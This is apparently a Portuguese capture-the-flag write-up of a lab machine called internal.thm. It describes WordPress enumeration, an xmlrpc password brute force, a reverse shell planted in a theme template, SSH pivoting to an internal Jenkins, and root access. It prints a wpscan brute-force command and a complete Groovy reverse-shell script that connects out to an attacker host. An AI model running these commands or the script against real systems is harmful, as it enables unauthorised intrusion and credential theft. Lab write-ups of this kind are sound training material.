Objetivo
“Você foi designado para um cliente que deseja que um pentest seja realizado em um ambiente que deverá ser lançado para produção em três semanas.”
Resolução
Iniciando o processo de recon na máquina alvo, comecei realizando uma enumeração de portas abertas
Como a porta 80 está aberta, também realizei uma enumeração de diretórios na aplicação web
Durante a enumeração de diretórios, foi encontrado o diretório “blog”, acessando esse diretório é possível encontrar uma aplicação wordpress
Através das postagens do blog, também foi possível encontrar o nome de um usuário do wordpress
Durante o processo de recon também foi possível identificar que a aplicação estava com o xmlrpc.php ativo
O xmlrpc do wordpress nos permite executar alguns ataques contra a aplicação, entre eles, um ataque de brute force
Como já sei o nome de um usuário válido na aplicação (admin), realizei um ataque de brute force através do xmlrpc e, dessa forma, foi possível descobrir a senha do usuário admin do wordpress
wpscan --url internal.thm/blog --random-user-agent -U admin -P /usr/share/wordlists/rockyou.txt
Com as credenciais encontradas, foi possível acessar o painel do wordpress
Com acesso ao painel do wordpress, alterei o template da página 404 do tema que estava sendo usado pela aplicação e coloquei o código de uma reverse shell
Após isso bastou acessar o endereço para receber a shell
http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php
Dentro do diretório “/opt” foi possível encontrar um arquivo contendo usuário e senha
Com as credenciais encontradas, foi possível acessar o host alvo através do SSH
Com o acesso via SSH, foi possível obter a primeira flag
Após pegar a flag encontrei outra informação importante dentro do arquivo “jenkins.txt”. Nesse arquivo foi informado que existe um Jenkins rodando em um endereço da rede interna
Para acessar esse serviço da rede interna, realizei um port fowarding utilizando a conexão SSH que já tinha acesso
ssh -L 80:172.17.0.2:8080 aubreanna@10.10.69.107
Dessa forma, foi possível acessar o painel do Jenkins que estava rodando na rede interna
Para obter acesso ao painel da aplicação, foi realizado um novo ataque de brute force
Após algumas requisições, foi possível encontrar a senha do admin do Jenkins
E, dessa forma, foi possível acessar o painel de administração
Com acesso ao painel, foi utilizado o “Script Console” para conseguir uma nova shell, dessa vez no host que está rodando o Jenkins
O seguinte script foi utilizado para isso:
String host="10.2.9.158";
int port=8443;
String cmd="bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Executando o script, foi possível receber uma conexão shell
Novamente foi possível encontrar um arquivo contendo usuário e senha dentro do diretório “/opt”
Com as credenciais encontradas, foi possível obter acesso no host como usuário root e pegar a última flag